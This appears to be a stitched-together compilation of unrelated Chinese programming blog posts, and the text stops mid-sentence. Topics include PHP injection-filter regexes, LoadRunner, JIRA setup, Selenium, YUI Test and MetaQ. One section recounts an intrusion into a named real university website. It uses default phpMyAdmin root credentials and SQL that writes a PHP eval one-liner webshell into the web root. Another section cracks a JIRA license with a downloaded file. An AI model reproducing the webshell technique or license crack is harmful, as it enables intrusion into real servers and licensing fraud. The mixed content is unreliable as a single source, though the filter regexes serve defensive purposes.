注入漏洞代碼和分析
代碼如下:
<?php function customerror($errno, $errstr, $errfile, $errline) { echo <b>error number:</b> [$errno],error on line $errline in $errfile<br />; die(); } set_error_handler(customerror,e_error); $getfilter='|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|< \\s*script\\b|\\bexec\\b|union.+?select|update.+?set|insert \\s+into.+?values|(select|delete).+?from|(create|alter|drop|truncate) \\s+(table|database); $postfilter=\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/ \\*.+?\\*\\/|<\\s*script\\b|\\bexec \\b|union.+?select|update.+?set|insert\\s+into.+?values| (select|delete).+?from|(create|alter|drop|truncate)\\s+(table|database); $cookiefilter=\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/ \\*.+?\\*\\/|<\\s*script\\b|\\bexec \\b|union.+?select|update.+?set|insert\\s+into.+?values| (select|delete).+?from|(create|alter|drop|truncate)\\s+(table|database); function stopattack($strfiltkey,$strfiltvalue,$arrfiltreq) { if(is_array($strfiltvalue)) { $strfiltvalue=implode($strfiltvalue); } if (preg_match(/.$arrfiltreq./is,$strfiltvalue)==1&&!isset($_request['securitytoken'])) { slog(<br><br>操作ip: .$_server[remote_addr].<br>操作時間: .strftime(%y-%m-%d %h:%m:%s).<br>操作頁面:.$_server[php_self].<br>提交方式: .$_server[request_method].<br>提交參數: .$strfiltkey.<br>提交數據: .$strfiltvalue); print result notice:illegal operation!; exit(); } } foreach($_get as $key=>$value) { stopattack($key,$value,$getfilter); } foreach($_post as $key=>$value) { stopattack($key,$value,$postfilter); } foreach($_cookie as $key=>$value) { stopattack($key,$value,$cookiefilter); } function slog($logs) { $toppath=log.htm; $ts=fopen($toppath,a+); fputs($ts,$logs.\r\n); fclose($ts); } ?> |
sql
分析
如果使用這個函數地話,這個函數會繞開php地標準出錯處理,所以說的自己定義報錯處理程序(die()).
其次,如果代碼執行前就發生了錯誤,那個時候用戶自定義地程序還沒有執行,所以就不會用到用戶自己寫地報錯處理程序.
那么,php里有一套錯誤處理機制,可以使用set_error_handler()接管php錯誤處理,也可以使用trigger_error()函數主動拋出一個錯誤.
set_error_handler()函數設置用戶自定義地錯誤處理函數.函數用于創建運行期間地用戶自己地錯誤處理方法.它需要先創建一個錯誤處理函數,然后設置錯誤級別.
關于地用法:
代碼如下:
function customerror($errno, $errstr, $errfile, $errline) { echo <b>錯誤代碼:</b> [${errno}] ${errstr}\r\n; echo 錯誤所在地代碼行: {$errline} 文件{$errfile}\r\n; echo php版本 ,php_version, ( , php_os, )\r\n; // die(); } |
set_error_handler(customerror,e_all| e_strict);
在這個函數里,可以做任何要做地事情,包括對錯誤地詳情進行格式化輸出,記入log文件.
代碼如下:
function slog($logs) { $toppath=log.htm; $ts=fopen($toppath,a+); fputs($ts,$logs.\r\n); fclose($ts); } |
自定義地錯誤處理函數一定要有這四個輸入變量$errno、$errstr、$errfile、$errline.
errno是一組常量,代表錯誤地等級,同時也有一組整數和其對應,但一般使用其字符串值表示,這樣語義更好一點.比如e_warning,其二進制掩碼為4,表示警告信息.
接下來,就是將這個函數作為回調參數傳遞給set_error_handler.這樣就能接管php原生地錯誤處理函數了.要注意地是,這種托管方 式并不能托管所有種類地錯誤,如e_error、e_parse、e_core_error、e_core_warning、 e_compile_error、e_compile_warning,以及e_strict中地部分.這些錯誤會以最原始地方式顯示,或者不顯示.
stopattack()函數是將傳遞過來地post、get、cookie進行正則表達式和調用slog()寫入log文件.
代碼如下:
$exec_commond = ( \\s|\\s)*(exec(\\s|\\+)+(s|x)p\\w+)(\\s|\\s)*; $simple_xss = ( \\s|\\s)*((%3c)|<)((%2f)|/)*[a-z0-9%]+((%3e)|>)(\\s|\\s)*; $eval_xss = ( \\s|\\s)*((%65)|e)(\\s)*((%76)|v)(\\s)*((%61)|a)(\\s)*((%6c)|l)(\\s|\\s)*; $image_xss = ( \\s|\\s)*((%3c)|<)((%69)|i|i|(%49))((%6d)|m|m|(%4d))((%67)|g|g|(%47))[^\\n]+((%3e)|>)(\\s|\\s)* ; $script_xss = ( \\s|\\s)*((%73)|s)(\\s)*((%63)|c)(\\s)*((%72)|r)(\\s)*((%69)|i)(\\s)*((%70)|p)(\\s)*((%74)|t)(\\s|\\s)*; $sql_injection = ( \\s|\\s)*((%27)|(')|(%3d)|(=)|(/)|(%2f)|(\)|((%22)|(-|%2d){2})|(%23)|(%3b)|(;))+(\\s|\\s)*; |
hp遇到錯誤時,就會給出出錯腳本地位置、行數和原因,有很多人說,這并沒有什么大不了.但泄露了實際路徑地后果是不堪設想地,對于某些入侵者,這 個信息可是非常重要,而事實上現在有很多地服務器都存在這個問題. 有些網管干脆把php配置文件中地 display_errors 設置為 off 來解決,但本人認為這個方法過于消極.有些時候,我們地確需要php返回錯誤地信息以便調試.而且在出錯時也可能需要給用戶一個交待,甚至導航到另一頁 面.但是有了set_error_handler()之后,這些矛盾也都可以解決掉了.
最近再做一個跟海量存儲相關的項目
測試,需要通過LR模擬用戶大量上傳和下載文件,請求是Rest或Soap,同時還要模擬多種大小尺寸不一的文件
通常情況下,都是使用簡單的post協議即可:
方法一:
web_submit_data("importStudent.do", "Action=https://testserver/console/importStudent.do", "Method=POST", "EncType=multipart/form-data", "RecContentType=text/html", "Referer=https://testserver/console/displayStudentList.do", "Snapshot=t12.inf", "Mode=HTTP", ITEMDATA, "Name=uploadFile", "Value=D://Excel//data161955.zip", "File=yes", ENDITEM, LAST); |
后續對上傳的文件進行MD5值比較,發現不一致,仔細查看后,發現上傳的文件內容被loadrunner添加了幾行額外的值,content-type等,無奈下,重寫讀文件的方式,我通過如下程序實現了1到10M文本文件的上傳,如果上傳二進制文件,body的寫法有變化:
方法二:
vuser_init() { char fileName[] = "D:/Script/CreateObj_10M/tools.zip"; int len = 0; int readLen=0; int tmpLen=1; int runLen =104857; int cLen = 0; if ( (file_stream = fopen(fileName, "rb")) == NULL) { lr_message("open file failed!\n"); return -1; } fseek(file_stream, 0, 2); len = ftell(file_stream); lr_message("file length is: %d bytes", len); readbuf = (char *) malloc(len+1); memset(readbuf, 0, len+1); if ( runLen > len) { runLen = len; } fseek(file_stream, 0, 0); while(feof(file_stream)== 0){ tmpLen = fread(readbuf + readLen, 1,runLen , file_stream); readLen += tmpLen; cLen = readLen + runLen; if (cLen > len) { runLen = cLen - len; } if (tmpLen==0) { break; } } |
//關閉文件句柄 fclose(file_stream); //保存參數 lr_save_string(readbuf,"bodys"); } Action() { lr_start_transaction("CreateObj_1M"); web_add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8.."); web_add_header("Content-Type", "text/plain; charset=UTF-8"); web_add_header("Authorization", "YWS {userkey}:XXXXXXX"); web_custom_request("CreateObj", "URL=http://smartstorage{id}.yoyoyws.com:38080/test00bucket00/{IterationNum}-10M", "Method=PUT", "TargetFrame=", "Resource=0", "RecContentType=application/xml", "Referer=", "Mode=HTML", "Body={bodys}", //如果是二進制文件,可以改成BodyBinary LAST ); returnCode = web_get_int_property(HTTP_INFO_RETURN_CODE); if ( returnCode!=201 ) { lr_end_transaction("CreateObj_1M",LR_FAIL); }else{ lr_end_transaction("CreateObj_1M",LR_PASS); } return 0; } |
但是這個程序依然有問題,當打開是二進制文件,或者文件內容過大的時候,依然會出現文件內容不一致的問題,我后續試驗后,會持續更新。
由于我們的項目缺少一個bug管理系統,剛好以前用過jira,感覺很不錯,就安裝一個用用了,下面是安裝步驟,參考了一些網上的教材,特此表示感謝。
1.系統環境
系統環境為ubuntu10.04+mysql5.1.14+jdk1.6
2.文件準備
由于jira是用
java寫的,jdk當然是比不可少了;我用的是mysql數據庫,所以mysql也是需要安裝的,安裝時注意修改編碼為utf-8,后面我們會提到。
jira現在最新的版本為4.2,可以到jira官方網站去下載,可以免費試用30天;當然,如果您喜歡,您也可以去破解。
3.安裝過程
?。?)在/usr/local下新建一個文件夾jira,然后在jira文件夾下建立jira_home文件夾
?。?)復制下載后的文件atlassian-jira-enterprise-4.2-standalone.tar.gz到/usr/local/jira目錄下并解壓(tar xf at*.gz)
(3)安裝mysql,并修改/etc/mysql/my.cnf文件,在[mysql]和[mysqld]下分別增加一句:default-character-set=utf8
?。?)通過mysql -u root -p 命令登入mysql,創建數據庫jiradb,操作命令為 create database jiradb character set 'utf8'
(5)創建用戶jira,操作命令為 grant all privileges on jiradb.* to 'jira'@'%' identified by 'jira'
?。?)進入/usr/local/jira/atlassian-jira-enterprise-4.2-standalone/目錄,編輯conf文件夾下的
server.xml,找到如下內容并修改:
<Resource name="jdbc/JiraDS" auth="Container" type="javax.sql.DataSource" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost/jiradb?useUnicode=true&characterEncoding=UTF8" username="jira" password="jira" maxActive="20" validationQuery="SELECT 1" /> |
?。?)進入 /usr/local/jira/atlassian-jira-enterprise-4.2-standalone/atlassian-jira/目錄,分別執行如下操作:
編輯/WEB-INF/classes目錄下的jira-application.properties文件,修改jira.home =/usr/local/jira/jira_home
編輯/WEB_INF/classes目錄下的entityengine.xml文件,將<datasource name= "defaultDS" field-type-name= "hsql" 中的hsql改為"mysql",并刪除
schema-name="PUBLIC"
4.破解
下載licence文件 http://files.cnblogs.com/flyingzl/jira_licence.rar并 覆蓋/usr/local/jira/atlassian-jira-enterprise-4.2-standalone/目錄
5.啟動jira
進入/usr/local/jira/atlassian-jira-enterprise-4.2-standalone/bin,執行./catalina.sh run
6.訪問jira
打開瀏覽器,輸入http://localhost:8080/就能看到jira的主頁面了。在首頁會看到你的ServerID,比如ServerID為BL7M-KJJC-06XD-R275,那么拷貝如下licence:
Description=JIRA\: COMMERCIAL CreationDate=2010-11-04 ContactName=flyingzl@gmail.com jira.LicenseEdition=ENTERPRISE ContactEMail=flyingzl@gmail.com Evaluation=false jira.LicenseTypeName=COMMERCIAL jira.active=true licenseVersion=2 MaintenanceExpiryDate=2011-10-24 Organisation=flyingzl jira.NumberOfUsers=-1 ServerID=BL7M-KJJC-06XD-R275 LicenseID=LID LicenseExpiryDate=2011-10-24 PurchaseDate=2010-11-04 |
在Selenium的基本語法中首先是需要定位到頁面元素的,Selenium通過找尋到界面元素然后觸發相應的時間,通過頁面元素變化判斷是否執行了相應的操作。
可以通過頁面元素的屬性獲取相應的頁面元素。
1.通過Identifier(id)定位元素
所給出的定位的HTML元素必須要有identifier,如果沒有就會報告未找到相應元素的錯誤。通過ID來標識可以確定唯一性。
WebElement ele = By.id("idName");
只有當你明確知道元素的id屬性,才能使用。
2.通過Name定位元素
使用id定位元素固然方面,但是id并不是html元素必須的,我們可以使用Name定位元素位置。
使用Name定位元素的位置,會匹配第一個與Name匹配的元素。如果頁面中有多個相同的Name,可以使用更多的篩選器進行元素篩選的細化。
WebElement ele = By.Name("name");
只有明確知道原屬的那么,才能使用。
3.通過Xpath定位元素
在一些情況下無法得知頁面元素的id和name,還可以使用xpath從已知節點開始定位相應的元素。
絕對路徑進行定位 xpath=/html/body/form[1]
通過元素的相應屬性定位例如xpath=//form[@id='loginForm'] 表示從根節點開始查找一個form元素她包含一個屬性是id并且里面的值為loginForm
找到某一個元素下相應的子元素 xpath=//form[input/@name='username'] 找到Form表單下面的input元素并且該元素有一個屬性name且該name的值是username。
找到第一個指定的元素 xpath=//input[@name='username'] 扎到第一個input元素里面有一個name屬性并且該屬性值為username
還可以使用更加細分的查找 xpath = //input[@name='continue'][@type='button'] 找到input標簽,1.該標簽有一個name=continue屬性和type=button屬性的元素。
4.通過連接定位元素
WebElement ele = By.LinkText("xxxx");
當知曉相應的鏈接類容就可以定位到相應的元素。
5.通過DOM元素定位元素
DOM元素是HTML的基本元素,而且只有dom定位可以直接通過document
dom=document.getElementById('loginForm') dom=document.forms['loginForm'] dom=document.forms[0] document.forms[0].username document.forms[0].elements['username'] document.forms[0].elements[0] document.forms[0].elements[3] |
6.通過tagName,通過標簽名稱進行定位
List<WebElement> eles = By.TagName("tagname");
在一個頁面中相同的tag標簽太多了,如果僅適用單個tagname查詢會找到一個列表。
7.通過Css進行定位(Cascading Style Sheets)
css=form#loginForm css=input[name="username"] css=input.required[type="text"] css=input.passfield css=#loginForm input[type="button"] css=#loginForm input:nth-child(2) |
二、Selenium錯誤現場保存方法(截屏和記錄日志)
知曉了如何定位元素,我們就可以觸發頁面上相應的BOM事件了。
那么當執行頁面響應的自動化操作的時候發生了錯誤我們應該怎樣才能更好的記錄相應的錯誤呢?記錄Log日志和保存相應的屏幕錯誤信息。
1.首先記錄log日志,可使用為java量身定做的log4j進行日志記錄(我的另外一篇Log4j如何實現日志分模塊,分天,分錯誤級別進行記錄)
2.截取錯誤發生時的屏幕,這樣就可以很快的定位錯誤發生前的操作和錯誤發生時的錯誤信息了。
分享一段執行截屏的java代碼。
/*截屏操作,遇到錯誤自動截屏存儲到指定位置。 * 指定保存的路徑,然后通過 TakesScreenshot 的 getScreenshotAs進行截屏操作。 * WebElement 繼承 TakesScreenshot 這個最大能耐焊好的基于了瀏覽器,返回當前的狀態 * ——整個當前的HTML元素內容 * ——可視化部分的HTML元素 * */ public static void captureScreenshot(String arg0,WebDriver driver){ if(PrivateDataSource.Debug){ logger.debug("調試截圖功能,并把截圖存儲到:"+PrivateDataSource.screenshotsResultsPath); } String screenshotsResultsPath=PrivateDataSource.screenshotsResultsPath; String imagePath = screenshotsResultsPath + File.separator+arg0+"_" +arg0+".png"; File screenShotFile = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE); try { org.apache.commons.io.FileUtils.copyFile(screenShotFile, new File(imagePath)); } catch (IOException e) { e.printStackTrace(); if(PrivateDataSource.DebugError){ logger.info( logger.getClass().getName()+" selenium輸出截圖功能失敗。以下是錯誤信息!"); logger.error(e.getStackTrace()); } } } |
三、Selenium瀏覽器兼容性測試
1.向瀏覽器注入一段可執行的JavaScript腳本
在很多情況下我們需要程序觸發一段JavaScript腳本,首先我們需要注冊相應的JavaScript到瀏覽器中然后觸發執行。
WebElement ele = driver.findElement(By.id("SubMenu7").xpath("http://table/tbody/tr[9]"));//定位Web頁面的元素 //((JavascriptExecutor)driver).executeScript("arguments[0].onclick=function(){alert('js has been execute!');}", ele);//為這個元素添加可執行的js ((JavascriptExecutor)driver).executeScript("arguments[0].onclick=function(){SelectMenu(this,'AirLineSeasonManage.aspx?TimeStamp=' + TimeStamp());}", ele);//為這個元素添加可執行的js ele.click(); |
以上代碼首先找到相應的元素
然后向相應的元素里面注入一段可執行腳本
最后點擊該元素執行這個JavaScript腳本。
2.IE瀏覽器運行注意點
首先需要下載一個IEDriverServer.exe工具然后放置在任意位置,記錄相應的存放path
設置瀏覽器啟動路徑System.setProperty("webdriver.ie.driver", "存放IEDriverServer.exe的path");
啟動程序開始執行
3.Chrome瀏覽器運行注意點
首先需要下載一個chromedriver.exe模擬Chrome瀏覽器的工具,放在任意位置,記錄相應的存放path
設置瀏覽器啟動路徑System.setProperty("webdriver.chrome.driver", "存放chromedriver.exe的path");
啟動程序開始執行
4.FireFox瀏覽器中運行注意點
直接安裝了FireFox瀏覽器,并且Selenium對FireFox有非常好的支持,所以不需要下載其余的模擬器進行執行驗證。
如果你的FireFox沒有默認安裝,即改變了默認的安裝路徑需要設定運行變量,不然FireFox不會被正常啟動的。
System.setProperty("webdriver.firefox.bin", "FireFox的安裝路徑");
啟動程序開始執行
我搭建的是JIRA6.1.5,使用的是
JIRA免安裝包,解壓后經過以下三步可以成功運行。
二、設置JIRA_HOME工作目錄
三、解壓JIRA下載包,然后./bin/start-jira.sh啟動jira。
以上詳細步驟在我的文章
Linux 下安裝、配置、漢化JIRA6.1.5中有詳細的說明。
我用網上找的在/etc/init.d/rc.local文件中加./**/start-jira.sh服務進程是啟動的了,但是無法正常
在啟動過程中出現了錯誤,進入atlassian-jira6.1.5-standalone/bin目錄,重新啟動JIRA
#./start-jira.sh
JIRA服務器可以正常使用,但是還是沒有完成開機自啟動。
然后就在網上找了別的方法,編寫JIRA的啟動腳本。
在/etc/init.d/目錄中創建JIRA啟動腳本
#cd /etc/ini.d/
#vim jira
以下是JIRA啟動腳本的內容
------------------------------------------------------------------------------------------------------------------------- #!/bin/bash #chkconfig: 2345 85 15 # description: jira # processname: jira # source function library . /etc/init.d/functions #把JAVA的環境變量配置也加進來 JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64 CLASSPATH=.:$CLASSPATH:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/mysql-connector-java-5.1.29-bin.jar:$JAVA_HOME/lib/classes12.jar PATH=$PATH:$JAVA_HOME/bin:$JAVA_HOME/jre/bin export JAVA_HOME PATH CLASSPATH JIRA_HOME=/home/jira_workhome/work_home export JIRA_HOME #這一行為JIRA的安裝路徑(主目錄),我的是直接 在/home/jira_workhome里面解壓的。 Jira=/home/jira_workhome/atlassian-jira-6.1.5-standalone startup=$Jira/bin/startup.sh shutdown=$Jira/bin/shutdown.sh #export JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64 #每次非正常關機后,啟動的時候都需要將$Jira_Home中的.jira-home.lock文件刪除,否則啟動的時候會報錯。 .jira-home.lock是一個鎖文件,是為了保護jira安全的。 rm -rf /home/jira_workhome/work_home/.jira-home.lock start() { echo -n $"Starting jira services: " $startup RETVAL=$? echo } stop() { echo -n $"Shutting down jira services: " $shutdown RETVAL=$? echo } case "$1" in start) start ;; stop) stop ;; restart|reload) stop start ;; status) status jira RETVAL=$? ;; *) echo $"Usage: $0 {start|stop|restart|status}" exit 1 esac exit $RETVAL ------------------------------------------------------------------------------------------------------------------------------------------------- |
然后保存退出。
利用
#chkconfig --add jira
添加服務
我用的DEBIAN7沒有這個工具,如果沒有,則先安裝
#aptitude install chkconfig
然后執行上一步驟 。
這步完成后就可以使用
#/etc/init.d/jira start/stop/restart
來啟動和暫停JIRA服務了。
使用
#chkconfig --list | grep jira 來查看JIRA服務是否啟動
你可能會發現在每個級別都是處于off 狀態的。
使用以下命令在2-5級別開啟jira服務。
#chkconfig -s jira on
兩次使用
#chkconfig --list | grep jira 來查看JIRA服務的狀態
重啟后JIRA服務已經啟動
#reboot
今天朋友在入侵織夢的網站系統,通過最新的Exp獲得了織夢后臺的賬號和密碼
賬號:admin
密碼:abc123456
但是,找來找去找不到后臺,就讓我提權試試。
我看了下:http://pxc.ncist.edu.cn/dede/
后臺被刪除了!怎么辦??
google hack也沒找到后臺
后來,我試了試這個網站:http://zsjy.ncist.edu.cn/phpmyadmin
輸入默認MySql賬號與密碼:
賬號:root
密碼:root
居然進去了:
接下來就是phpmyadmin提權了:
我的思路是:
1.先爆出php服務器www的路徑
2.然后通過將php一句話插入
數據庫再導出到www路徑
通過google hack爆到路徑:D\www\
呵呵,接下來就執行sql語句:
CREATE TABLE `mysql`.`xss` (`xss1` TEXT NOT NULL ); INSERT INTO `mysql`.`xss` (`xss1` ) VALUES ('<?php @eval($_POST[milantgh])?>'); SELECT xss1 FROM `mysql`.`xss` INTO OUTFILE 'd:/www/x.php'; |
這段sql意思是:
1.在mysql數據庫中建一張表叫xss,在xss表中生成一個field(字段)叫xss1
2.將php一句話木馬插入數據庫中的xss1字段處
3.將數據庫中xss1字段的內容導出到d:\www\x.php文件中
這下,通過chopper連接x.php小馬得到
shell:
測試在
軟件開發中至關重要,目前針對不同的開發語言,都有比較成熟的測試框架,如jUnit,cUnit,cppUnit,nUnit等,我們統稱為xUnit,他們的都遵守統一的規則:
針對代碼測試
斷言
啟動測試
結果生成,結果上報
Javascript的
自動化測試一直以來都是一個比較頭疼的問題,對于javascript,目前也有比較規范的測試框架,如Qunit,YUI
Test,JSTestDriver等,他們也各有其特點及使用范圍
Quint是jQuery團隊用它來對JQuery庫進行
單元測試的,需要下載quit.css和qunit.js文件。
YUI Test開發的初衷也是開發對于為了對YUI進行單元測試,需要使用test,console等模塊。
JSTestDriver能夠在多個瀏覽器中從命令行運行javaScript。JSTD帶有一個JAR文件,它可以讓您啟用服務器,捕獲一個或多個瀏覽器并在這些瀏覽器中進行測試。
這里主要介紹一下YUI Test以及一些使用心得,我們看一下YUI對它的官方描述:While not a direct port form any specific xUnit framework, YUI Test does derive some characteristics form nUnit and jUnit,即它不是直接用的xUnit框架,但是確實會從nUint和jUnit派生出一些特性,怎么理解呢,就是說他的一些特性也是遵從xUnit的,下面看YUI Test的一些特性:
Rapid creation of test cases through simple syntax-使用簡單的語法快速創建
測試用例 Advanced failure detection for methods that throw errors.- 對于拋出錯誤的方法有先進的錯誤監測
Grouping of related test cases using test suites.- 對相關的測試用例使用測試套件分組
Mock objects for writing tests without external dependencies.- 使用mock(虛假)對象從而避免外部依賴
Asynchronous tests for testing events and Ajax communication.- 針對事件以及ajax通訊的異步測試
DOM Event simulation in all A-grade browsers-在所有的A級瀏覽器中的事件模擬
YUI Test的測試用例編寫過程也比較簡單:
引用YUI框架
引用模塊test,console(or test-console),test-console可用來分類展示,可分為info,pass,fail,status等,展示更加直觀,但是只有在3.5版本以上才有
編寫測試用例
我們看一個簡單的例子
YUI({logInclude : { TestRunner: true }}).use("test", "test-console", "console", function (Y) { var Test = { drawConsole : function(){ var console = new Y.Test.Console({ newestOnTop : false, filters: { pass: true, fail: true, info: true } }); console.render('#testLogger'); }, testBegin : function(){ var testCase1 = new Y.Test.Case({ name : "Data Tests", setUp : function(){ this.data = { name : "test", year : 2007, beta : true }; }, tearDown : function(){ if(this.data){ delete this.data; } }, testName: function(){ var assert = Y.Assert; assert.isObject(this.data); assert.isString(this.data.name); assert.areEqual("test", this.data.name); }, testYear : function(){ var assert = Y.Assert; assert.isObject(this.data); assert.isNumber(this.data.year); assert.areEqual(2007, this.data.year); assert.areEqual("2007", this.data.year); assert.areSame(2007, this.data.year); assert.areSame("2007", this.data.year); }, testBeta : function(){ var assert = Y.Assert; assert.isObject(this.data); assert.isBoolean(this.data.beta); assert.isTrue(this.data.beta); } }); var testCase2 = new Y.Test.Case({ name : "Array Tests", setUp : function () { this.data = [0, 1, 2, 3, 4]; }, tearDown : function () { if(this.data){ delete this.data; } }, testPop : function () { var Assert = Y.Assert; var value = this.data.pop(); Assert.areEqual(4, this.data.length); Assert.areEqual(4, value); }, testPush : function () { var Assert = Y.Assert; this.data.push(5); Assert.areEqual(6, this.data.length); Assert.areEqual(5, this.data[5]); }, testSplice : function () { var Assert = Y.Assert; this.data.splice(2, 1, 6, 7); Assert.areEqual(6, this.data.length); Assert.areEqual(6, this.data[2]); Assert.areEqual(7, this.data[3]); } }); var testSuite = new Y.Test.Suite("Example Suite"); testSuite.add(testCase1); testSuite.add(testCase2); Y.Test.Runner.add(testSuite); Y.Test.Runner.run(); }, init : function(){ this.drawConsole(); this.testBegin(); } } Test.init(); }); |
其中,Y.Test.Case用來生成一個測試用例,而Y.Test.Suite是一個測試集,可以add多個測試用例,Y.Test.Runner用來生成一個測試實例對象,調用其run方法即可開始測試。
Y.Test.Case需要接納一個object對象作為參數,包含如下屬性及方法
Name(用例的名稱)
setUp(用于在所有測試方法執行之前執行,初始化一些變量信息等)
tearDown(用戶在每個測試方法執行完畢之后,清除變量,釋放內存等)
testMethod1(具體的測試方法)
testMethod2(具體的測試方法)
PS:對于setUp及tearDown的理解,setUp在每個測試方法運行之前都會被重新執行,重新初始化,以此防止原始數據被其它測試方法鎖污染。
Y.Assert即斷言,是所有xUnit自動化測試框架的核心方法,具體方法使用時可參考官方文檔,其實YUI test主要是進行單元測試,對一些核心算法的內部數據結構進行測試,以保證方法的正確性,對界面的測試就需要靈活利用斷言來組合測試方法。
測試結果如下:
前面提到,測試結果的收集,上報也是xUnit所必不可少的,同樣,YUI test也有這樣的功能,在生成TestRunner的時候,為其綁定測試完成事件
testRunner.subscribe(testRunner.COMPLETE_EVENT, Y.bind(this.testCompleteEvent, this)); var testCompleteEvent = function(data){ this.console.log("測試完成了下面是測試結果"); var testRunner = Y.Test.Runner; var resultObj = testRunner.getResults(Y.Test.Format.JSON); this.console.log(resultObj); resultObj = testRunner.getResults(Y.Test.Format.XML); this.console.log(resultObj); resultObj = testRunner.getResults(Y.Test.Format.JUnitXML); this.console.log(resultObj); resultObj = testRunner.getResults(Y.Test.Format.TAP); this.console.log(resultObj); resultObj = testRunner.getResults(); var reporter = new Y.Test.Reporter("https://www.tenpay.com/report.cgi", Y.Test.Format.JSON); reporter.report(resultObj); } |
給Reporter對象指定上報的url以及數據格式即可,注釋中內容表示可以在console中或者上報日志中使用多種格式,有興趣的可以嘗試一下
2,下載https://github.com/killme2008/Metamorphosis/tree/metamorphosis-all-1.4.6.2,如果不想自己編譯可以直接下載http://fnil.net/downloads/index.html,我這里選擇自己編譯,主要是以后如果出現問題自己可以修改其源碼,重新編譯
3,maven編譯,maven環境自己搜索配置好,下載all項目后需要編譯其子項目metamorphosis-server-wrapper。dos環境進入其目錄下mvn eclipse:eclipse,完成后導入到eclipse,用eclipse插件編譯?;蛘咧苯觗os該目錄下執行mvn clean install -Dmaven.test.skip=true。完成后target目錄下生產其jar包;
可以在工程創建lib文件夾,輸入以下命令:mvn dependency:copy-dependencies -DoutputDirectory=lib (不加DoutputDirectory會默認輸出到targed/dependency下)。再把install的jar包也copy到lib下。
4,完成編譯后上傳到服務器
需要修改conf/server.ini文件
[system]brokerId=2 numPartitions=1 serverPort=8123 ashboardHttpPort=8120 unflushThreshold=0 unflushInterval=10000 maxSegmentSize=1073741824 maxTransferSize=1048576 deletePolicy=delete,168 deleteWhen=0 0 6,18 * * ? flushTxLogAtCommit=1 stat=true dataPath=/data1/metaq/data dataLogPath=/data1/metaq/log [zookeeper] zk.zkConnect=192.168.1.1:2181,192.168.1.2:2181,192.168.1.3:2181 zk.zkSessionTimeoutMs=30000 zk.zkConnectionTimeoutMs=30000 zk.zkSyncTimeMs=5000 ;; Topics section [topic=test] [topic=meta-test] |
集群的話需要修改上面標紅部分,brokerId保證每個服務器節點上不一樣就行
dataPath,dataLogPath如果自己制定,需要每臺服務器mkdir
分發到個節點,在每臺節點的bin下都執行metaServer.sh start
需要停止時執行metaServer.sh stop
查看狀態sh metaServer.sh status
5,應用例子
package com.test.metaq; import java.util.concurrent.Executor; import com.taobao.metamorphosis.Message; import com.taobao.metamorphosis.client.MessageSessionFactory; import com.taobao.metamorphosis.client.MetaClientConfig; import com.taobao.metamorphosis.client.MetaMessageSessionFactory; import com.taobao.metamorphosis.client.consumer.ConsumerConfig; import com.taobao.metamorphosis.client.consumer.MessageConsumer; import com.taobao.metamorphosis.client.consumer.MessageListener; import com.taobao.metamorphosis.exception.MetaClientException; import com.taobao.metamorphosis.utils.ZkUtils.ZKConfig; public class AsyncConsum { public static void main(String[] args) { final MetaClientConfig metaClientConfig = new MetaClientConfig(); final ZKConfig zkConfig = new ZKConfig(); zkConfig.zkConnect = "192.168.1.1:2181"; metaClientConfig.setZkConfig(zkConfig); MessageSessionFactory sessionFactory = null; try { sessionFactory = new MetaMessageSessionFactory(metaClientConfig); } catch (MetaClientException e) { // TODO Auto-generated catch block e.printStackTrace(); } final String topic = "test"; final String group = "meta-example"; MessageConsumer consumer = sessionFactory.createConsumer(new ConsumerConfig(group)); try { consumer.subscribe(topic, 1024 * 1024, new MessageListener() { public void recieveMessages(Message message) { System.out.println("Receive message " + new String(message.getData())); } public Executor getExecutor() { return null; } }); consumer.completeSubscribe(); } catch (MetaClientException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } |
package com.test.metaq; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import com.taobao.metamorphosis.Message; import com.taobao.metamorphosis.client.MessageSessionFactory; import com.taobao.metamorphosis.client.MetaClientConfig; import com.taobao.metamorphosis.client.MetaMessageSessionFactory; import com.taobao.metamorphosis.client.producer.MessageProducer; import com.taobao.metamorphosis.client.producer.SendResult; import com.taobao.metamorphosis.exception.MetaClientException; import com.taobao.metamorphosis.utils.ZkUtils.ZKConfig; public class Products { public static void main(String[] args) { final MetaClientConfig metaClientConfig = new MetaClientConfig(); final ZKConfig zkConfig = new ZKConfig(); zkConfig.zkConnect = "192.168.1.1:2181"; metaClientConfig.setZkConfig(zkConfig); MessageSessionFactory sessionFactory = null; try { sessionFactory = new MetaMessageSessionFactory(metaClientConfig); } catch (MetaClientException e) { e.printStackTrace(); } MessageProducer producer = sessionFactory.createProducer(); final String topic = "test"; producer.publish(topic); BufferedReader reader = new BufferedReader(new InputStreamReader( System.in)); String line = "qiujinyong"; try { while ((line = reader.readLine()) != null) { SendResult sendResult = producer.sendMessage(new Message(topic, line.getBytes())); if (!sendResult.isSuccess()) { System.err.println("Send message failed,error message:" + sendResult.getErrorMessage()); } else { System.out.println("Send message successfully,sent to " + sendResult.getPartition()); } } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (MetaClientException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } |
打包test.jar后,傳服務器上 java -cp test.jar com.test.metaq.Products 命令行輸入message
打包test.jar后,傳服務器上 java -cp test.jar com.test.metaq.AsyncConsum 命令行會接收到message
1、測試用例設計無二義性:測試用例的執行路徑或執行結果不能出現歧義,不能出現“或”、“可能”等詞;
2、測試用例執行結果唯一:一條測試用例的執行路徑之后的輸出結果只能有一個;
3、測試用例可讀性強:測試用例的設計不能將數據與操作結合在一起,使人讀起來累贅,不易理解或理解錯誤;
4、測試用例盡可能的覆蓋所有的測試功能點;
測試用例的設計的全面性非常重要,漏測一個功能點,可能引起客戶的投訴,嚴重者需要找回產品。對于入門不久的我來說,現階段最重要的
